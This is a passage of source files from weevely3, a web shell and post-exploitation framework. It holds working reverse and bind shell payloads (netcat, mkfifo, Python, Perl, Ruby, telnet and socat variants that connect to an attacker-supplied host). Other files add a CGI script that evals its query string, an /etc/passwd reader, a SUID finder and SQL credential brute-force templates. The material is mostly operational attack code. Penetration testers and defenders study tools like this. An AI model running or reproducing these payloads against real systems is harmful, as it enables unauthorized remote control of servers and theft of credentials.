19 | -------------------------------------------------------------------------------- /modules/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/weevely3/ff906a17d12a8a6d9923e7b36e3f2390798a2afa/modules/__init__.py -------------------------------------------------------------------------------- /modules/audit/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/weevely3/ff906a17d12a8a6d9923e7b36e3f2390798a2afa/modules/audit/__init__.py -------------------------------------------------------------------------------- /modules/audit/_disablefunctionbypass/cgi.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo -ne "Content-Type: text/html\n\n" 3 | b=$(echo "$QUERY_STRING" | sed -n 's/^.*c=\([^&]*\).*$/\1/p' | sed "s/%20/ /g") 4 | eval $b -------------------------------------------------------------------------------- /modules/audit/etcpasswd.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpCode, ShellCmd, ModuleExec, Os 2 | from core.module import Module 3 | from core import modules 4 | 5 | class Etcpasswd(Module): 6 | 7 | """Read /etc/passwd with different techniques.""" 8 | 9 | def init(self): 10 | 11 | self.register_info( 12 | { 13 | 'author': [ 14 | 'Emilio Pinna' 15 | ], 16 | 'license': 'GPLv3' 17 | } 18 | ) 19 | 20 | self.register_arguments([ 21 | { 'name' : '-real', 'help' : 'Filter only real users', 'action' : 'store_true', 'default' : False }, 22 | { 'name' : '-vector', 'choices' : ( 'posix_getpwuid', 'file', 'fread', 'file_get_contents', 'base64' ) } 23 | ]) 24 | 25 | def run(self, **kwargs): 26 | 27 | pwdresult = '' 28 | vector = self.args.get('vector') 29 | 30 | if vector in (None, 'posix_getpwuid'): 31 | pwdresult = PhpCode("""if(is_callable('posix_getpwuid')) { for($n=0; $n<2000;$n++) { $uid = @posix_getpwuid($n); if ($uid) echo join(':',$uid).PHP_EOL; } }""").run(self.args) 32 | 33 | if not pwdresult: 34 | arg_vector = [ '-vector', vector ] if vector else [] 35 | pwdresult = ModuleExec('file_read', [ '/etc/passwd' ] + arg_vector).run() 36 | 37 | if not pwdresult: return 38 | 39 | result = '' 40 | for line in pwdresult.split('\n'): 41 | fields = line.split(':') 42 | if len(fields) > 6: 43 | uid = int(fields[2]) 44 | shell = fields[6] 45 | 46 | if ( 47 | self.args.get('real') and ( 48 | (uid == 0 or uid > 999) and 49 | 'false' not in shell 50 | ) 51 | or not self.args.get('real') 52 | ): 53 | result += line + '\n' 54 | 55 | return result.rstrip('\n') 56 | -------------------------------------------------------------------------------- /modules/audit/suidsgid.py: -------------------------------------------------------------------------------- 1 | from core.vectors import ShellCmd 2 | from core.module import Module 3 | 4 | class Suidsgid(Module): 5 | 6 | """Find files with SUID or SGID flags.""" 7 | 8 | def init(self): 9 | 10 | self.register_info( 11 | { 12 | 'author': [ 13 | 'Emilio Pinna' 14 | ], 15 | 'license': 'GPLv3' 16 | } 17 | ) 18 | 19 | self.register_arguments([ 20 | { 'name' : 'rpath', 'help' : 'Remote starting path', 'default' : '/' }, 21 | { 'name' : '-only-suid', 'help' : 'Find only suid', 'action' : 'store_true', 'default' : False }, 22 | { 'name' : '-only-sgid', 'help' : 'Find only sgid', 'action' : 'store_true', 'default' : False }, 23 | ]) 24 | 25 | def run(self, **kwargs): 26 | 27 | result = ShellCmd( 28 | payload = """find ${rpath} -type f ${ '-perm -04000' if not only_sgid else '' } ${ '-o' if not only_suid and not only_sgid else '' } ${ '-perm -02000' if not only_suid else '' }""", 29 | arguments = [ 30 | "-stderr_redirection", 31 | " 2>/dev/null", 32 | ]).run(self.args) 33 | 34 | if result: 35 | return result.split('\n') 36 | -------------------------------------------------------------------------------- /modules/backdoor/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/weevely3/ff906a17d12a8a6d9923e7b36e3f2390798a2afa/modules/backdoor/__init__.py -------------------------------------------------------------------------------- /modules/backdoor/_reversetcp/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/weevely3/ff906a17d12a8a6d9923e7b36e3f2390798a2afa/modules/backdoor/_reversetcp/__init__.py -------------------------------------------------------------------------------- /modules/backdoor/_reversetcp/tcpserver.py: -------------------------------------------------------------------------------- 1 | from core import messages 2 | from core.loggers import log 3 | import socket 4 | import sys 5 | import select 6 | 7 | class TcpServer: 8 | 9 | def __init__(self, port): 10 | self.connect = False 11 | self.hostname = '0.0.0.0' 12 | self.port = port 13 | 14 | self.socket_state = False 15 | 16 | self.socket = None 17 | 18 | self.connect_socket() 19 | 20 | if not self.socket: return 21 | 22 | self.forward_data() 23 | 24 | def connect_socket(self): 25 | if(self.connect): 26 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 27 | self.socket.connect((self.hostname, self.port)) 28 | 29 | else: 30 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 31 | server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 32 | try: 33 | server.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1) 34 | except socket.error: 35 | #log.debug("Warning: unable to set TCP_NODELAY...") 36 | pass 37 | 38 | try: 39 | server.bind(('0.0.0.0', self.port)) 40 | except socket.error as e: 41 | log.error(messages.module_backdoor_reversetcp.error_binding_socket_s % str(e)) 42 | return 43 | 44 | server.listen(1) 45 | 46 | server.settimeout(3) 47 | 48 | try: 49 | self.socket, address = server.accept() 50 | except socket.timeout as e: 51 | server.close() 52 | raise 53 | 54 | 55 | def forward_data(self): 56 | 57 | log.warn(messages.module_backdoor_reversetcp.reverse_shell_connected) 58 | 59 | self.socket.setblocking(0) 60 | 61 | while(1): 62 | read_ready, write_ready, in_error = select.select( 63 | [self.socket, sys.stdin], [], [self.socket, sys.stdin]) 64 | 65 | try: 66 | buf = self.socket.recv(100) 67 | while(buf != ''): 68 | 69 | self.socket_state = True 70 | 71 | sys.stdout.write(buf.decode('utf-8', 'replace')) 72 | sys.stdout.flush() 73 | buf = self.socket.recv(100) 74 | if(buf == ''): 75 | return 76 | except socket.error: 77 | pass 78 | while(1): 79 | r, w, e = select.select([sys.stdin], [], [], 0) 80 | if(len(r) == 0): 81 | break 82 | c = sys.stdin.read(1) 83 | if(c == ''): 84 | return 85 | if(self.socket.sendall(c.encode('utf-8')) != None): 86 | return 87 | -------------------------------------------------------------------------------- /modules/backdoor/reversetcp.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PythonCode, ShellCmd, Os 2 | from modules.backdoor._reversetcp.tcpserver import TcpServer 3 | from core.module import Module 4 | from core.loggers import log 5 | from core import messages 6 | import socket 7 | 8 | 9 | class Reversetcp(Module): 10 | """Execute a reverse TCP shell.""" 11 | 12 | def init(self): 13 | 14 | self.register_info( 15 | { 16 | 'author': [ 17 | 'Emilio Pinna' 18 | ], 19 | 'license': 'GPLv3' 20 | } 21 | ) 22 | 23 | self.register_vectors( 24 | [ 25 | ShellCmd( 26 | """sleep 1; rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|${shell} -i 2>&1|nc ${lhost} ${port} >/tmp/f""", 27 | name='netcat_bsd', 28 | target=Os.NIX, 29 | background=True 30 | ), 31 | ShellCmd( 32 | "sleep 1; nc -e ${shell} ${lhost} ${port}", 33 | name='netcat', 34 | target=Os.NIX, 35 | background=True 36 | ), 37 | PythonCode( 38 | """ 39 | import socket,subprocess,os 40 | s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 41 | s.connect(("${lhost}", ${port})) 42 | os.dup2(s.fileno(), 0) 43 | os.dup2(s.fileno(), 1) 44 | os.dup2(s.fileno(), 2) 45 | p = subprocess.call(["${shell}", "-i"]) 46 | """, 47 | name='python', 48 | target=Os.NIX, 49 | background=True 50 | ), 51 | ShellCmd( 52 | "sleep 1; /bin/bash -c \'${shell} 0&0 2>&0\'", 53 | name='devtcp', 54 | target=Os.NIX, 55 | background=True 56 | ), 57 | ShellCmd( 58 | """perl -e 'use Socket;$i="${lhost}";$p=${port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("${shell} -i");};'""", 59 | name='perl', 60 | target=Os.NIX, 61 | background=True 62 | ), 63 | ShellCmd( 64 | """ruby -rsocket -e'f=TCPSocket.open("${lhost}",${port}).to_i;exec sprintf("${shell} -i <&%d >&%d 2>&%d",f,f,f)'""", 65 | name='ruby', 66 | target=Os.NIX, 67 | background=True 68 | ), 69 | ShellCmd( 70 | """sleep 1;rm -rf /tmp/backpipe;mknod /tmp/backpipe p;telnet ${lhost} ${port} 0/tmp/backpipe""", 71 | name='telnet', 72 | target=Os.NIX, 73 | background=True 74 | ), 75 | PythonCode( 76 | """ 77 | import socket,pty,os 78 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 79 | s.connect(("${lhost}", ${port})) 80 | os.dup2(s.fileno(), 0) 81 | os.dup2(s.fileno(), 1) 82 | os.dup2(s.fileno(), 2) 83 | pty.spawn("${shell}") 84 | """, 85 | name='python_pty', 86 | target=Os.NIX, 87 | background=True 88 | ) 89 | ] 90 | ) 91 | 92 | self.register_arguments([ 93 | {'name': 'lhost', 'help': 'Local host'}, 94 | {'name': 'port', 'help': 'Port to spawn', 'type': int}, 95 | {'name': '-shell', 'help': 'Specify shell', 'default': '/bin/sh'}, 96 | {'name': '-no-autoconnect', 'help': 'Skip autoconnect', 'action': 'store_true', 'default': False}, 97 | {'name': '-vector', 'choices': self.vectors.get_names()} 98 | ]) 99 | 100 | def run(self, **kwargs): 101 | 102 | # Run all the vectors 103 | for vector in self.vectors: 104 | 105 | # Skip vector if -vector is specified but does not match 106 | if self.args.get('vector') and self.args.get('vector') != vector.name: 107 | continue 108 | 109 | # Background run does not return results 110 | vector.run(self.args) 111 | 112 | # If set, skip autoconnect 113 | if self.args.get('no_autoconnect'): continue 114 | 115 | # Run tcp server for the vector 116 | try: 117 | tcpserver = TcpServer(self.args['port']) 118 | except socket.timeout as e: 119 | log.debug(messages.module_backdoor_reversetcp.error_timeout) 120 | continue 121 | -------------------------------------------------------------------------------- /modules/backdoor/tcp.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PythonCode, ShellCmd, Os 2 | from core.module import Module 3 | from core.loggers import log 4 | from core import messages 5 | import urllib.parse 6 | import telnetlib 7 | import time 8 | 9 | class Tcp(Module): 10 | """Spawn a shell on a TCP port.""" 11 | 12 | def init(self): 13 | 14 | self.register_info( 15 | { 16 | 'author': [ 17 | 'Emilio Pinna' 18 | ], 19 | 'license': 'GPLv3' 20 | } 21 | ) 22 | 23 | self.register_vectors( 24 | [ 25 | ShellCmd( 26 | "nc -l -p ${port} -e ${shell}", 27 | name = 'netcat', 28 | target = Os.NIX, 29 | background = True 30 | ), 31 | ShellCmd( 32 | "rm -rf /tmp/.f;mkfifo /tmp/.f&&cat /tmp/.f|${shell} -i 2>&1|nc -lp ${port} >/tmp/.f; rm -rf /tmp/.f", 33 | name = 'nc.bsd', 34 | target = Os.NIX, 35 | background = True 36 | ), 37 | PythonCode( 38 | """ 39 | import pty,os,sys,socket 40 | s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 41 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 42 | try: 43 | s.bind(("", ${port})) 44 | s.listen(1) 45 | (c, addr) = s.accept() 46 | with c: 47 | os.dup2(c.fileno(),0) 48 | os.dup2(c.fileno(),1) 49 | os.dup2(c.fileno(),2) 50 | os.putenv("HISTFILE",'/dev/null') 51 | pty.spawn("${shell}") 52 | c.close() 53 | except Exception: 54 | s.close()""", 55 | name = 'py.pty', 56 | target = Os.NIX, 57 | background = True 58 | ), 59 | ShellCmd( 60 | """socat tcp-l:${port},reuseaddr,fork exec:'${shell}',pty,stderr,sane""", 61 | name = 'socat', 62 | target = Os.NIX, 63 | background = True 64 | ) 65 | ] 66 | ) 67 | 68 | self.register_arguments([ 69 | { 'name' : 'port', 'help' : 'Port to spawn', 'type' : int }, 70 | { 'name' : '-shell', 'help' : 'Specify shell', 'default' : '/bin/sh' }, 71 | { 'name' : '-no-autoconnect', 'help' : 'Skip autoconnect', 'action' : 'store_true', 'default' : False }, 72 | { 'name' : '-vector', 'choices' : self.vectors.get_names() } 73 | ]) 74 | 75 | def run(self, catch_errors=True): 76 | 77 | # Run all the vectors 78 | for vector in self.vectors: 79 | 80 | # Skip vector if -vector is specified but does not match 81 | if self.args.get('vector') and self.args.get('vector') != vector.name: 82 | continue 83 | 84 | # Background run does not return results 85 | vector.run(self.args) 86 | 87 | # If set, skip autoconnect 88 | if self.args.get('no_autoconnect'): continue 89 | 90 | print('Connecting...', end='', flush=True) 91 | 92 | # Give some time to spawn the shell 93 | time.sleep(1) 94 | 95 | urlparsed = urllib.parse.urlparse(self.session['url']) 96 | 97 | if not urlparsed.hostname: 98 | log.debug( 99 | messages.module_backdoor_tcp.error_parsing_connect_s % self.args['port'] 100 | ) 101 | continue 102 | 103 | try: 104 | with telnetlib.Telnet() as tn: 105 | tn.open(urlparsed.hostname, self.args['port'], timeout = 5) 106 | print('\rConnected. ') 107 | tn.interact() 108 | 109 | # If telnetlib does not raise an exception, we can assume that 110 | # it ended correctly and return from `run()` 111 | return 112 | except Exception as e: 113 | log.debug( 114 | messages.module_backdoor_tcp.error_connecting_to_s_s_s % ( 115 | urlparsed.hostname, 116 | self.args['port'], 117 | e 118 | ) 119 | ) 120 | 121 | # If autoconnect was expected but Telnet() calls worked, 122 | # prints error message 123 | if not self.args.get('no_autoconnect'): 124 | log.warn( 125 | messages.module_backdoor_tcp.error_connecting_to_s_s_s % ( 126 | urlparsed.hostname, 127 | self.args['port'], 128 | 'remote port not open or unreachable' 129 | ) 130 | ) 131 | -------------------------------------------------------------------------------- /modules/bruteforce/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/weevely3/ff906a17d12a8a6d9923e7b36e3f2390798a2afa/modules/bruteforce/__init__.py -------------------------------------------------------------------------------- /modules/bruteforce/_sql/mysql.tpl: -------------------------------------------------------------------------------- 1 | <%! import json %> 2 | 3 | ini_set('mysql.connect_timeout',1); 4 | $users=array ( 5 | % for u in users: 6 | ${ json.dumps(u) }, 7 | % endfor 8 | ); 9 | $pwds=array ( 10 | % for p in pwds: 11 | ${ json.dumps(p) }, 12 | % endfor 13 | ); 14 | 15 | foreach($users as $u) { 16 | foreach($pwds as $p) { 17 | $c=@mysqli_connect("${ hostname }", "$u", "$p"); 18 | if($c){ 19 | print("$u:$p".PHP_EOL); 20 | break; 21 | } 22 | } 23 | }mysqli_close(); 24 | -------------------------------------------------------------------------------- /modules/bruteforce/_sql/pgsql.tpl: -------------------------------------------------------------------------------- 1 | <%! import json %> 2 | 3 | $users=array ( 4 | % for u in users: 5 | ${ json.dumps(u) }, 6 | % endfor 7 | ); 8 | $pwds=array ( 9 | % for p in pwds: 10 | ${ json.dumps(p) }, 11 | % endfor 12 | ); 13 | 14 | foreach($users as $u) { 15 | foreach($pwds as $p) { 16 | $c=@pg_connect("host=${ hostname } user=$u password=$p connect_timeout=1"); 17 | if($c){ 18 | print("$u:$p".PHP_EOL); 19 | break; 20 | } 21 | } 22 | }pg_close(); 23 | -------------------------------------------------------------------------------- /modules/bruteforce/sql.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpFile 2 | from core.module import Module 3 | from core import modules 4 | from core import messages 5 | from core.loggers import log 6 | import os 7 | 8 | class Sql(Module): 9 | 10 | """Bruteforce SQL database.""" 11 | 12 | def init(self): 13 | 14 | self.register_info( 15 | { 16 | 'author': [ 17 | 'Emilio Pinna' 18 | ], 19 | 'license': 'GPLv3' 20 | } 21 | ) 22 | 23 | self.register_vectors( 24 | [ 25 | PhpFile( 26 | payload_path = os.path.join(self.folder, 'mysql.tpl'), 27 | name = 'mysql', 28 | ), 29 | PhpFile( 30 | payload_path = os.path.join(self.folder, 'pgsql.tpl'), 31 | name = 'pgsql', 32 | ) 33 | ] 34 | ) 35 | 36 | self.register_arguments([ 37 | { 'name' : 'service', 'help' : 'Service to bruteforce', 'choices' : self.vectors.get_names() }, 38 | { 'name' : '-hostname', 'help' : 'Hostname', 'default' : 'localhost' }, 39 | { 'name' : '-users', 'help' : 'Users', 'nargs' : '*', 'default': [] }, 40 | { 'name' : '-pwds', 'help' : 'Passwords', 'nargs' : '*', 'default': [] }, 41 | { 'name' : '-fusers', 'help' : 'Local file path containing users list' }, 42 | { 'name' : '-fpwds', 'help' : 'Local file path containing password list' } 43 | ]) 44 | 45 | def run(self, **kwargs): 46 | 47 | self.args['users'] = self.args.get('users', []) 48 | if self.args.get('fusers'): 49 | try: 50 | self.args['users'] += open(self.args['fusers'], 'r').read().split(os.linesep) 51 | except Exception as e: 52 | log.warning( 53 | messages.generic.error_loading_file_s_s % (self.args['fusers'], str(e))) 54 | return 55 | 56 | self.args['pwds'] = self.args.get('pwds', []) 57 | if self.args.get('fpwds'): 58 | try: 59 | self.args['pwds'] += open(self.args['fpwds'], 'r').read().split(os.linesep) 60 | except Exception as e: 61 | log.warning( 62 | messages.generic.error_loading_file_s_s % (self.args['fpwds'], str(e))) 63 | return 64 | 65 | if not self.args['users'] or not self.args['pwds']: 66 | log.error('Error, no users or passwords loaded') 67 | return 68 | 69 | return self.vectors.get_result( 70 | name = self.args['service'], 71 | format_args = self.args 72 | ) 73 | -------------------------------------------------------------------------------- /modules/file/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/weevely3/ff906a17d12a8a6d9923e7b36e3f2390798a2afa/modules/file/__init__.py -------------------------------------------------------------------------------- /modules/file/_bzip2/EasyBzip2.class.php: -------------------------------------------------------------------------------- 1 | /**------------------------------------------------- 2 | | EasyBzip2.class V0.8 - by Alban LOPEZ 3 | | Copyright (c) 2007 Alban LOPEZ 4 | | Email bugs/suggestions to alban.lopez+eazybzip2@gmail.com 5 | +-------------------------------------------------- 6 | | This file is part of EasyArchive.class V0.9. 7 | | EasyArchive is free software: you can redistribute it and/or modify 8 | | it under the terms of the GNU General Public License as published by 9 | | the Free Software Foundation, either version 3 of the License, or 10 | | (at your option) any later version. 11 | | EasyArchive is distributed in the hope that it will be useful, 12 | | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 14 | | See the GNU General Public License for more details on http://www.gnu.org/licenses/ 15 | +-------------------------------------------------- 16 | http://www.phpclasses.org/browse/package/4239.html **/ 17 | class bzip2 18 | { 19 | /** 20 | // You can use this class like that. 21 | $test = new bzip2; 22 | $test->makeBzip2('./','./toto.bzip2'); 23 | var_export($test->infosBzip2('./toto.bzip2')); 24 | $test->extractBzip2('./toto.bzip2', './new/'); 25 | **/ 26 | function makeBzip2($src, $dest=false) 27 | { 28 | // Adjusted to use $src just as file path instead of data source 29 | $Bzip2 = bzcompress(file_get_contents ($src), 6); 30 | if (empty($dest)) return $Bzip2; 31 | elseif (file_put_contents($dest, $Bzip2)) return $dest; 32 | return false; 33 | } 34 | function infosBzip2 ($src, $data=true) 35 | { 36 | $data = $this->extractBzip2 ($src); 37 | $content = array( 38 | 'UnCompSize'=>strlen($data), 39 | 'Size'=>filesize($src), 40 | 'Ratio'=>strlen($data) ? round(100 - filesize($src) / strlen($data)*100, 1) : false,); 41 | if ($data) $content['Data'] = $data; 42 | return $content; 43 | } 44 | function extractBzip2($src, $dest=false) 45 | { 46 | $bz = bzopen($src, "r"); 47 | $data = ''; 48 | while (!feof($bz)) 49 | $data .= bzread($bz, 1024*1024); 50 | bzclose($bz); 51 | if (empty($dest)) return $data; 52 | elseif (file_put_contents($dest, $data)) return $dest; 53 | return false; 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /modules/file/_bzip2/php_bzip2.tpl: -------------------------------------------------------------------------------- 1 | <%include file="EasyBzip2.class.php"/> 2 | 3 | $f='set_time_limit'&&is_callable($f)&&$f(0); 4 | $f='ini_set'&&is_callable($f)&&$f('max_execution_time', 0); 5 | $a = new bzip2; 6 | 7 | $fs=array ( 8 | % for f in rpaths: 9 | '${ f }', 10 | % endfor 11 | ); 12 | 13 | foreach($fs as $f) { 14 | if(!file_exists($f) || !is_readable($f)) { 15 | print("Skipping file '$f', check existance and permission"); 16 | } 17 | else { 18 | 19 | ## Here decompress 20 | % if decompress: 21 | $ext = pathinfo($f, PATHINFO_EXTENSION); 22 | if(!preg_match('/t?bz2?$/', $ext)) { 23 | print("Unknown suffix, skipping decompressing"); 24 | } 25 | else { 26 | $nf = substr($f, 0, -strlen($ext)-1); 27 | if(file_exists($nf)) { 28 | print("File '$nf' already exists, skipping decompressing"); 29 | } 30 | else { 31 | $a->extractBzip2($f, $nf); 32 | % if not keep: 33 | if(file_exists($nf)) unlink($f); 34 | %endif 35 | } 36 | } 37 | ## Here compress 38 | % else: 39 | 40 | if(file_exists($f.'.bz2')) { 41 | print("File '$f.bz2' already exists, skipping compressing"); 42 | } 43 | else { 44 | $a->makeBzip2($f, $f.'.bz2'); 45 | % if not keep: 46 | if(file_exists($f.'.bz2')) unlink($f); 47 | %endif 48 | } 49 | % endif 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /modules/file/_find/bfs_walker.tpl: -------------------------------------------------------------------------------- 1 | function chk($filename, $search, $case, $ftype, $perms) { 2 | 3 | return ( 4 | file_exists($filename)&& 5 | (!$search||preg_match("/$search/$case",$filename))&& 6 | (strstr($perms,"w")===FALSE||is_writable($filename))&& 7 | (strstr($perms,"x")===FALSE||is_executable($filename))&& 8 | (strstr($perms,"r")===FALSE||is_readable($filename))&& 9 | (strstr($ftype,"f")===FALSE||is_file($filename))&& 10 | (strstr($ftype,"d")===FALSE||is_dir($filename)) 11 | ); 12 | } 13 | 14 | function src($path, $search, $case, $stop, $ftype, $perms, $no_recurs) { 15 | 16 | /* Print starting path if matches, like posix find */ 17 | if (chk($path, $search, $case, $ftype, $perms)) { 18 | echo "$path" . PHP_EOL; 19 | if ($stop) return; 20 | } 21 | 22 | if (substr($path, -1) !== DIRECTORY_SEPARATOR) 23 | $path .= DIRECTORY_SEPARATOR; 24 | 25 | $queue = array($path => 1); 26 | $done = array(); 27 | 28 | while(!empty($queue)) { 29 | /* get one element from the queue */ 30 | foreach($queue as $path => $unused) { 31 | unset($queue[$path]); 32 | $done[$path] = null; 33 | break; 34 | } 35 | unset($unused); 36 | 37 | $dh = @opendir($path); 38 | if (!$dh) continue; 39 | while(($filename = readdir($dh)) !== false) { 40 | /* dont recurse back up levels */ 41 | if ($filename == '.' || $filename == '..') 42 | continue; 43 | 44 | /* get the full path */ 45 | $filename = $path . $filename; 46 | 47 | /* check if the filename matches the search term */ 48 | if (chk($filename, $search, $case, $ftype, $perms)) { 49 | echo "$filename" . PHP_EOL; 50 | if ($stop) return; 51 | } 52 | 53 | /* queue directories for later search */ 54 | if (is_dir($filename)) { 55 | /* ensure the path has a trailing slash */ 56 | if (substr($filename, -1) !== DIRECTORY_SEPARATOR) 57 | $filename .= DIRECTORY_SEPARATOR; 58 | 59 | /* check if we have already queued this path, or have done it */ 60 | if ($no_recurs || array_key_exists($filename, $queue) || array_key_exists($filename, $done)) 61 | continue; 62 | 63 | /* queue the file */ 64 | $queue[$filename] = null; 65 | } 66 | } 67 | closedir($dh); 68 | } 69 | } 70 | 71 | src('${rpath}', '${ expression if expression else '' }', '${'i' if not case else ''}', ${quit}, '${ ftype if ftype == 'd' or ftype == 'f' else '' }','${ '%s%s%s' % (('w' if writable else ''), ('r' if readable else ''), ('x' if executable else '') ) }', ${no_recursion}); 72 | -------------------------------------------------------------------------------- /modules/file/_gzip/EasyGzip.class.php: -------------------------------------------------------------------------------- 1 | /**------------------------------------------------- 2 | | EasyGzip.class V0.8 - by Alban LOPEZ 3 | | Copyright (c) 2007 Alban LOPEZ 4 | | Email bugs/suggestions to alban.lopez+easygzip@gmail.com 5 | +-------------------------------------------------- 6 | | This file is part of EasyArchive.class V0.9. 7 | | EasyArchive is free software: you can redistribute it and/or modify 8 | | it under the terms of the GNU General Public License as published by 9 | | the Free Software Foundation, either version 3 of the License, or 10 | | (at your option) any later version. 11 | | EasyArchive is distributed in the hope that it will be useful, 12 | | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 14 | | See the GNU General Public License for more details on http://www.gnu.org/licenses/ 15 | +-------------------------------------------------- 16 | http://www.phpclasses.org/browse/package/4239.html **/ 17 | class gzip 18 | { 19 | /** 20 | // You can use this class like that. 21 | $test = new gzip; 22 | $test->makeGzip('./','./toto.gzip'); 23 | var_export($test->infosGzip('./toto.gzip')); 24 | $test->extractGzip('./toto.gzip', './new/'); 25 | **/ 26 | function makeGzip($src, $dest=false) 27 | { 28 | // Adjusted to use $src just as file path instead of data source 29 | 30 | $Gzip = gzencode(file_get_contents ($src), 6); 31 | if (empty($dest)) return $Gzip; 32 | elseif (file_put_contents($dest, $Gzip)) return $dest; 33 | return false; 34 | } 35 | function infosGzip ($src, $data=true) 36 | { 37 | $data = $this->extractGzip ($src); 38 | $content = array( 39 | 'UnCompSize'=>strlen($data), 40 | 'Size'=>filesize($src), 41 | 'Ratio'=>strlen($data) ? round(100 - filesize($src) / strlen($data)*100, 1) : false,); 42 | if ($data) $content['Data'] = $data; 43 | return $content; 44 | } 45 | function extractGzip ($src, $dest=false) 46 | { 47 | $zp = gzopen( $src, "r" ); 48 | $data = ''; 49 | while (!gzeof($zp)) 50 | $data .= gzread($zp, 1024*1024); 51 | gzclose( $zp ); 52 | if (empty($dest)) return $data; 53 | elseif (file_put_contents($dest, $data)) return $dest; 54 | return false; 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /modules/file/_gzip/php_gzip.tpl: -------------------------------------------------------------------------------- 1 | <%include file="EasyGzip.class.php"/> 2 | 3 | $f='set_time_limit'&&is_callable($f)&&$f(0); 4 | $f='ini_set'&&is_callable($f)&&$f('max_execution_time', 0); 5 | $a = new gzip; 6 | 7 | $fs=array ( 8 | % for f in rpaths: 9 | '${ f }', 10 | % endfor 11 | ); 12 | 13 | foreach($fs as $f) { 14 | if(!file_exists($f) || !is_readable($f)) { 15 | print("Skipping file '$f', check existance and permission"); 16 | } 17 | else { 18 | 19 | ## Here decompress 20 | % if decompress: 21 | $ext = pathinfo($f, PATHINFO_EXTENSION); 22 | if(!preg_match('/t?gz$/', $ext)) { 23 | print("Unknown suffix, skipping decompressing"); 24 | } 25 | else { 26 | $nf = substr($f, 0, -strlen($ext)-1); 27 | if(file_exists($nf)) { 28 | print("File '$nf' already exists, skipping decompressing"); 29 | } 30 | else { 31 | $a->extractGzip($f, $nf); 32 | % if not keep: 33 | if(file_exists($nf)) unlink($f); 34 | %endif 35 | } 36 | } 37 | ## Here compress 38 | % else: 39 | 40 | if(file_exists($f.'.gz')) { 41 | print("File '$f.gz' already exists, skipping compressing"); 42 | } 43 | else { 44 | $a->makeGzip($f, $f.'.gz'); 45 | % if not keep: 46 | if(file_exists($f.'.gz')) unlink($f); 47 | %endif 48 | } 49 | % endif 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /modules/file/_tar/php_tar.tpl: -------------------------------------------------------------------------------- 1 | <% 2 | overwrite_bool = 'true' if overwrite else 'false' 3 | %> 4 | $f='set_time_limit'&&is_callable($f)&&$f(0); 5 | $f='ini_set'&&is_callable($f)&&$f('max_execution_time', 0); 6 | $r=dirname(Phar::running(false)).'/'; 7 | $n='${ rtar }'; 8 | try { 9 | $a = new PharData($n); 10 | 11 | % if decompress: 12 | 13 | if(!file_exists($n) || !is_readable($n)) { 14 | print("Skipping file '$n', check existance and permission"); 15 | } else { 16 | $o = '${ rfiles[0] if rfiles and rfiles[0] else '.' }'; 17 | $a->extractTo($o, null, ${ overwrite_bool }); 18 | } 19 | 20 | % else: 21 | 22 | if(file_exists($n) || !${ overwrite_bool }) { 23 | print("File '$n' already exists, skipping compressing"); 24 | } else { 25 | $b = dirname($n); 26 | 27 | function add($a, $b, $f) { 28 | $p = preg_replace("#^$b/#", '', $f); 29 | if (is_dir($f)) { 30 | $a->addEmptyDir($p); 31 | foreach(glob("$f/*") as $file) { 32 | add($a, $b, $file); 33 | } 34 | } else { 35 | $a->addFile($f, $p); 36 | } 37 | } 38 | 39 | % for f in rfiles: 40 | add($a, $b, '${ f }'); 41 | % endfor 42 | } 43 | 44 | ## Since makeTar does not complain for missing $n, just double 45 | ## check the existance of the zipped file and print generic error message 46 | if(!file_exists($n)) { 47 | print("File '$n' not created, check existance and permission"); 48 | } 49 | 50 | % endif 51 | 52 | }catch(Exception $e){ 53 | print("Skipping file '$n', check existance and permission"); 54 | } 55 | -------------------------------------------------------------------------------- /modules/file/_zip/EasyZip.class.php: -------------------------------------------------------------------------------- 1 | /**------------------------------------------------- 2 | | EasyZip.class V0.8 - by Alban LOPEZ 3 | | Copyright (c) 2007 Alban LOPEZ 4 | | Email bugs/suggestions to alban.lopez+easyzip@gmail.com 5 | +-------------------------------------------------- 6 | | This file is part of EasyArchive.class V0.9. 7 | | EasyArchive is free software: you can redistribute it and/or modify 8 | | it under the terms of the GNU General Public License as published by 9 | | the Free Software Foundation, either version 3 of the License, or 10 | | (at your option) any later version. 11 | | EasyArchive is distributed in the hope that it will be useful, 12 | | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 14 | | See the GNU General Public License for more details on http://www.gnu.org/licenses/ 15 | +-------------------------------------------------- 16 | http://www.phpclasses.org/browse/package/4239.html **/ 17 | // I remove every reference to realpath(), due I prefer to store files 18 | // into the zip with the given relative path. 19 | class zip 20 | { 21 | /** 22 | // You can use this class like that. 23 | $test = new zip; 24 | $test->makeZip('./','./toto.zip'); 25 | 